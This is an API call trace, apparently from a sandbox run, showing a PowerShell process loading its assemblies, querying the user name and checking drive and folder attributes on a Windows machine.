	[0084.485] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee528, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.485] GetLastError () returned 0xcb
	[0084.485] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee528, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.485] GetLastError () returned 0xcb
	[0084.500] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.501] GetLastError () returned 0xcb
	[0084.501] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee528, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.501] GetLastError () returned 0xcb
	[0084.501] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee528, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.501] GetLastError () returned 0xcb
	[0084.502] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x62f898, nSize=0xeeb64 | out: lpNameBuffer="XABNCPUWKW\\kFT6uTQW", nSize=0xeeb64) returned 0x1
	[0084.502] GetLastError () returned 0xcb
	[0084.502] GetUserNameW (in: lpBuffer=0x617f50, pcbBuffer=0xeeb6c | out: lpBuffer="kFT6uTQW", pcbBuffer=0xeeb6c) returned 1
	[0084.503] ReportEventW (hEventLog=0x4a60004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x34340c4*="Registry", lpRawData=0x3433f80) returned 1
	[0084.503] GetLastError () returned 0x0
	[0084.504] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee564, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.504] GetLastError () returned 0x0
	[0084.504] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee514, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.504] GetLastError () returned 0x0
	[0084.504] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee514, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0084.504] GetLastError () returned 0x0
	[0084.505] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x62f898, nSize=0xeeb64 | out: lpNameBuffer="XABNCPUWKW\\kFT6uTQW", nSize=0xeeb64) returned 0x1
	[0084.505] GetLastError () returned 0x0
	[0084.505] GetUserNameW (in: lpBuffer=0x617f50, pcbBuffer=0xeeb6c | out: lpBuffer="kFT6uTQW", pcbBuffer=0xeeb6c) returned 1
	[0084.505] ReportEventW (hEventLog=0x4a60004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3437e68*="Variable", lpRawData=0x3437d24) returned 1
	[0084.506] GetLastError () returned 0x0
	[0084.507] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0084.507] GetLastError () returned 0xcb
	[0084.509] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0084.509] GetLastError () returned 0xcb
	[0084.510] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0xee564, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76
	[0084.510] GetLastError () returned 0xcb
	[0084.510] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0xee514, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76
	[0084.510] GetLastError () returned 0xcb
	[0084.510] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0xee514, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76
	[0084.511] GetLastError () returned 0xcb
	[0084.511] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0xee514, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76
	[0084.511] GetLastError () returned 0xcb
	[0084.551] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x62f898, nSize=0xeeb64 | out: lpNameBuffer="XABNCPUWKW\\kFT6uTQW", nSize=0xeeb64) returned 0x1
	[0084.551] GetLastError () returned 0x3
	[0084.551] GetUserNameW (in: lpBuffer=0x617f50, pcbBuffer=0xeeb6c | out: lpBuffer="kFT6uTQW", pcbBuffer=0xeeb6c) returned 1
	[0084.551] ReportEventW (hEventLog=0x4a60004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3445bf0*="Certificate", lpRawData=0x3445aac) returned 1
	[0084.551] GetLastError () returned 0x0
	[0084.557] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0084.557] GetLastError () returned 0xcb
	[0084.561] GetLogicalDrives () returned 0x4
	[0084.561] GetLastError () returned 0xcb
	[0084.561] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0xee6dc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
	[0084.561] GetLastError () returned 0xcb
	[0084.561] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0084.561] GetLastError () returned 0xcb
	[0084.561] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x617f50 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop") returned 0x19
	[0084.561] GetLastError () returned 0xcb
	[0084.562] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0084.562] GetLastError () returned 0xcb
	[0084.562] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0084.562] GetLastError () returned 0xcb
	[0084.585] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0084.585] GetLastError () returned 0xcb
	[0084.587] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0084.587] GetLastError () returned 0xcb
	[0084.587] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0xee524, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19
	[0084.587] GetLastError () returned 0xcb
	[0084.587] SetErrorMode (uMode=0x1) returned 0x1
	[0084.587] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x344d24c | out: lpFileInformation=0x344d24c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0x402e33d0, ftLastAccessTime.dwHighDateTime=0x1d3d722, ftLastWriteTime.dwLowDateTime=0x402e33d0, ftLastWriteTime.dwHighDateTime=0x1d3d722, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0084.587] GetLastError () returned 0xcb
	[0084.587] SetErrorMode (uMode=0x1) returned 0x1
	[0084.587] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0xee52c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19
	[0084.587] GetLastError () returned 0xcb
	[0084.587] SetErrorMode (uMode=0x1) returned 0x1
	[0084.587] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x344d3e8 | out: lpFileInformation=0x344d3e8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0x402e33d0, ftLastAccessTime.dwHighDateTime=0x1d3d722, ftLastWriteTime.dwLowDateTime=0x402e33d0, ftLastWriteTime.dwHighDateTime=0x1d3d722, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0084.588] GetLastError () returned 0xcb
	[0084.588] SetErrorMode (uMode=0x1) returned 0x1
	[0084.591] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0084.591] GetLastError () returned 0xcb
	[0084.594] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0xee674, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19
	[0084.594] GetLastError () returned 0xcb
	[0084.594] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0xee5f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
	[0084.594] GetLastError () returned 0xcb
	[0084.594] SetErrorMode (uMode=0x1) returned 0x1
	[0084.594] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0xeea70 | out: lpFileInformation=0xeea70*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x2c949230, ftLastAccessTime.dwHighDateTime=0x1d30610, ftLastWriteTime.dwLowDateTime=0x2c949230, ftLastWriteTime.dwHighDateTime=0x1d30610, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0084.594] GetLastError () returned 0xcb
	[0084.594] SetErrorMode (uMode=0x1) returned 0x1
	[0084.594] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0xee5f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
	[0084.594] GetLastError () returned 0xcb
	[0084.594] SetErrorMode (uMode=0x1) returned 0x1
	[0084.594] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0xeea70 | out: lpFileInformation=0xeea70*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x2c949230, ftLastAccessTime.dwHighDateTime=0x1d30610, ftLastWriteTime.dwLowDateTime=0x2c949230, ftLastWriteTime.dwHighDateTime=0x1d30610, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0084.594] GetLastError () returned 0xcb
	[0084.594] SetErrorMode (uMode=0x1) returned 0x1
	[0084.594] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0xee604, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
	[0084.595] GetLastError () returned 0xcb
	[0084.595] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0xee5a0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3
	[0084.595] GetLastError () returned 0xcb
	[0084.595] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0xee5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8
	[0084.595] GetLastError () returned 0xcb
	[0084.595] SetErrorMode (uMode=0x1) returned 0x1
	[0084.595] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0xeea70 | out: lpFileInformation=0xeea70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7f4ccf0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xa7f4ccf0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0084.595] GetLastError () returned 0xcb
	[0084.595] SetErrorMode (uMode=0x1) returned 0x1
	[0084.595] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0xee5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8
	[0084.595] GetLastError () returned 0xcb
	[0084.595] SetErrorMode (uMode=0x1) returned 0x1
	[0084.595] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0xeea70 | out: lpFileInformation=0xeea70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7f4ccf0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xa7f4ccf0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0084.595] GetLastError () returned 0xcb
	[0084.595] SetErrorMode (uMode=0x1) returned 0x1
	[0084.595] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0xee604, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8
	[0084.595] GetLastError () returned 0xcb
	[0084.595] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0xee5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8
	[0084.595] GetLastError () returned 0xcb
	[0084.595] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW", nBufferLength=0x105, lpBuffer=0xee5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW", lpFilePart=0x0) returned 0x11
	[0084.595] GetLastError () returned 0xcb
	[0084.595] SetErrorMode (uMode=0x1) returned 0x1
	[0084.595] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW" (normalized: "c:\\users\\kft6utqw"), fInfoLevelId=0x0, lpFileInformation=0xeea70 | out: lpFileInformation=0xeea70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7f4ccf0, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa826c9d0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xa826c9d0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0084.595] GetLastError () returned 0xcb
	[0084.595] SetErrorMode (uMode=0x1) returned 0x1
	[0084.595] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW", nBufferLength=0x105, lpBuffer=0xee5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW", lpFilePart=0x0) returned 0x11
	[0084.595] GetLastError () returned 0xcb
	[0084.595] SetErrorMode (uMode=0x1) returned 0x1
	[0084.595] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW" (normalized: "c:\\users\\kft6utqw"), fInfoLevelId=0x0, lpFileInformation=0xeea70 | out: lpFileInformation=0xeea70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7f4ccf0, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa826c9d0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xa826c9d0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0084.596] GetLastError () returned 0xcb
	[0084.596] SetErrorMode (uMode=0x1) returned 0x1
	[0084.596] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW", nBufferLength=0x105, lpBuffer=0xee604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW", lpFilePart=0x0) returned 0x11
	[0084.596] GetLastError () returned 0xcb
	[0084.596] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\.", nBufferLength=0x105, lpBuffer=0xee5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW", lpFilePart=0x0) returned 0x11
	[0084.596] GetLastError () returned 0xcb
	[0084.596] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0xee5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19
	[0084.596] GetLastError () returned 0xcb
	[0084.596] SetErrorMode (uMode=0x1) returned 0x1
	[0084.596] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop"), fInfoLevelId=0x0, lpFileInformation=0xeea70 | out: lpFileInformation=0xeea70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0x402e33d0, ftLastAccessTime.dwHighDateTime=0x1d3d722, ftLastWriteTime.dwLowDateTime=0x402e33d0, ftLastWriteTime.dwHighDateTime=0x1d3d722, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0084.596] GetLastError () returned 0xcb
	[0084.596] SetErrorMode (uMode=0x1) returned 0x1
	[0084.596] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0xee5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19
	[0084.596] GetLastError () returned 0xcb
	[0084.596] SetErrorMode (uMode=0x1) returned 0x1
	[0084.596] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop"), fInfoLevelId=0x0, lpFileInformation=0xeea70 | out: lpFileInformation=0xeea70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0x402e33d0, ftLastAccessTime.dwHighDateTime=0x1d3d722, ftLastWriteTime.dwLowDateTime=0x402e33d0, ftLastWriteTime.dwHighDateTime=0x1d3d722, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0084.596] GetLastError () returned 0xcb
	[0084.596] SetErrorMode (uMode=0x1) returned 0x1
	[0084.596] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0xee604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19
	[0084.596] GetLastError () returned 0xcb
	[0084.596] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\.", nBufferLength=0x105, lpBuffer=0xee5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19
	[0084.596] GetLastError () returned 0xcb
	[0084.596] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0xee5fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8
	[0084.596] GetLastError () returned 0xcb
	[0084.596] SetErrorMode (uMode=0x1) returned 0x1
	[0084.596] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0xeea7c | out: lpFileInformation=0xeea7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7f4ccf0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xa7f4ccf0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0084.596] GetLastError () returned 0xcb
	[0084.596] SetErrorMode (uMode=0x1) returned 0x1
	[0084.597] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0xee5fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8
	[0084.597] GetLastError () returned 0xcb
	[0084.597] SetErrorMode (uMode=0x1) returned 0x1
	[0084.597] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0xeea7c | out: lpFileInformation=0xeea7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7f4ccf0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xa7f4ccf0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0084.597] GetLastError () returned 0xcb
	[0084.597] SetErrorMode (uMode=0x1) returned 0x1
	[0084.597] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0xee610, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8
	[0084.597] GetLastError () returned 0xcb
	[0084.597] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0xee5ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8
	[0084.597] GetLastError () returned 0xcb
	[0084.597] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW", nBufferLength=0x105, lpBuffer=0xee5fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW", lpFilePart=0x0) returned 0x11
	[0084.597] GetLastError () returned 0xcb
	[0084.597] SetErrorMode (uMode=0x1) returned 0x1
	[0084.597] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW" (normalized: "c:\\users\\kft6utqw"), fInfoLevelId=0x0, lpFileInformation=0xeea7c | out: lpFileInformation=0xeea7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7f4ccf0, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa826c9d0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xa826c9d0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0084.597] GetLastError () returned 0xcb
	[0084.597] SetErrorMode (uMode=0x1) returned 0x1
	[0084.597] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW", nBufferLength=0x105, lpBuffer=0xee5fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW", lpFilePart=0x0) returned 0x11
	[0084.597] GetLastError () returned 0xcb
	[0084.597] SetErrorMode (uMode=0x1) returned 0x1
	[0084.597] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW" (normalized: "c:\\users\\kft6utqw"), fInfoLevelId=0x0, lpFileInformation=0xeea7c | out: lpFileInformation=0xeea7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7f4ccf0, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa826c9d0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xa826c9d0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0084.597] GetLastError () returned 0xcb
	[0084.597] SetErrorMode (uMode=0x1) returned 0x1
	[0084.597] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW", nBufferLength=0x105, lpBuffer=0xee610, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW", lpFilePart=0x0) returned 0x11
	[0084.597] GetLastError () returned 0xcb
	[0084.597] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\.", nBufferLength=0x105, lpBuffer=0xee5ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW", lpFilePart=0x0) returned 0x11
	[0084.597] GetLastError () returned 0xcb
	[0084.597] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0xee5fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19
	[0084.598] GetLastError () returned 0xcb
	[0084.598] SetErrorMode (uMode=0x1) returned 0x1
	[0084.598] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop"), fInfoLevelId=0x0, lpFileInformation=0xeea7c | out: lpFileInformation=0xeea7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0x402e33d0, ftLastAccessTime.dwHighDateTime=0x1d3d722, ftLastWriteTime.dwLowDateTime=0x402e33d0, ftLastWriteTime.dwHighDateTime=0x1d3d722, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0084.598] GetLastError () returned 0xcb
	[0084.598] SetErrorMode (uMode=0x1) returned 0x1
